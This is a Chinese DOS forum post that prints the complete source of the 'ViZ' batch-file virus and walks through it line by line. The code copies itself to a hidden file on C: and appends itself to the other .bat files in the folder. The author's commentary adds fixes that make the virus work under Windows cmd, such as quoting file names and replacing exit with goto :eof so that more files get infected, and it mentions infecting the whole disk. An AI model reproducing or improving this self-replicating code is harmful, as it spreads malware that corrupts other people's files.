联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!
1| :: [ViZ] by -KD- of Metaphase 2| @echo off%_ViZ% 3| if '%1=='ViZ goto ViZ%2 4| if exist c:\_ViZ.bat goto ViZstart 5| if not exist %0.bat goto ViZexit 6| find "ViZ"<%0.bat>c:\_ViZ.bat 7| attrib c:\_ViZ.bat +h 8| :ViZstart 9| if '%!ViZ%=='- goto ViZexit 10| set !ViZ=%!ViZ%- 11| command /e:5000 /c c:\_ViZ ViZ v 12| :DaViZ 13| goto ViZexit 14| :ViZv 15| for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a 16| exit ViZ 17| :ViZ_inf 18| find "ViZ"<%3>nul 19| if not errorlevel 1 goto ViZlevel 20| type c:\_ViZ.bat>>%3 21| exit ViZ 22| :ViZlevel 23| set ViZ!=%ViZ!%- 24| if %ViZ!%==- exit 25| :ViZexit
第一行:列出一些信息。 第二行:对于%echo off%大家都很熟悉,可是后面怎么多了个%_ViZ%,别着急,继续往下看。 第三行:if '%1=='ViZ goto ViZ%2 %1不是第一个参数吗?可是现在还没有参数啊,这是何意?把问题留在脑中,继续往下看。 第四行:if exist c:\_ViZ.bat goto ViZstart 此时还不存在c:\_ViZ.bat,此行不执行。 第五行:if not exist %0.bat goto ViZexit 同样的,也不存在%0.bat,继续执行。注:此时有一点问题,cmd下%0已经包含.bat了,故此应该改为%0,去掉.bat。 第六行:find "ViZ"<%0.bat>c:\_ViZ.bat 。同样先把.bat去掉再来看,find "ViZ"<%0>c:\_ViZ.bat。此句直接理解就是把当前程序代码中的所有包含"ViZ"的行写入c:\_ViZ.bat中,这又是何意?仔细一看,原来此代码中所有行都包含ViZ,这样就理解了吧。此句意思就是把程序自身复制到c盘根目录下。这也就是为什么KD在许多行加一些看似无意义的ViZ。 第七行:attrib c:\_ViZ.bat +h 不用解释了,加隐藏属性。 第八行:一个标签 第九行:if '%!ViZ%=='- goto ViZexit 猛一看觉得很复杂,其实就是判断一个变量!ViZ是否等于'-'。 第十行:set !ViZ=%!ViZ%- 这句大家肯定也经常用,看这个:set str=%str%OK,很熟悉吧。 第11行:command /e:5000 /c c:\_ViZ ViZ v 此句我之前没有接触过,只知道command.exe是98下带的,xp已经换为cmd。不过可以推测出此句的大意:在一个新的命令环境中运行刚才在c盘下建立的bat文件,/c是运行完毕后就返回。我们在cmd下可以直接用call c:\_ViZ.bat ViZ v来实现。这句话什么意思呢?运行c:\_ViZ.bat,提供的参数%1为ViZ,%2为v。C盘下的程序是此程序的复制品,当然和此程序一样。大家从此程序头看起,明白了吧。运行到第三行的if '%1=='ViZ goto ViZ%2 后直接跳到标签:ViZv处。也就是第14行。 第12行:12、13行一起来看,指运行完程序后就直接退出。程序运行到这里,是主程序运行完毕,下面的几个标签上面的分支。 第15行:for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a 此句为核心代码,此程序即通过此句来感染当前文件下的bat文件。当然你可以修改为感染全盘的,或者感染其他格式的文件等等。看do后面的call c:\_ViZ ViZ inf %%a,有了刚才的解释,此句就很容易了吧。此句执行后即跳到标签ViZinf处。即第17行。注:此句有不完善之处,若当前目录下有文件名带空过的bat会引起后面的参数%%a传递的错误。改为:for /f "delims=" %%a in (*.bat) do call c:\_ViZ.bat ViZ inf "%%a"。 第16行:exit在纯dos下为退出当前环境,在cmd即为关闭命令提示符。 第17行::ViZ_inf 应该是KD笔误吧,此标签应该为ViZinf。 第18行:find "ViZ"<%3>nul与第19行一起理解。此处%3即为第15行的%%a,同样的原因,此句改为find "ViZ"<"%~3">nul。即如果即将被感染的bat文件中包含ViZ字符则跳到标签Vizlevel,看一下第19行的标签下程序即知道为退出。呵呵,看来病毒也是有感情的啊,自己名字叫ViZ(见第一行),对于包含字符"ViZ"的文件会手下留情呢。 第20行:type c:\_ViZ.bat>>%3 此句即为感染的执行代码。即往被感染bat中添加自身代码。同样此句为 typec:\_ViZ.bat>>"%~3"。 第21行:exit ViZ要注意,KD是在纯dos下用exit来使一次循环结束后返回,cmd下应改为:goto :eof ViZ,否则,只感染当前目录下一个文件就结束了。 第22行至最后 退出程序。可能是我还没理解透彻,直接exit即可,不知为何还要麻烦的设置变量。反观第10行,可能是对某个信息的判断,还是纯dos另有隐情?还望大家一起来探讨啊。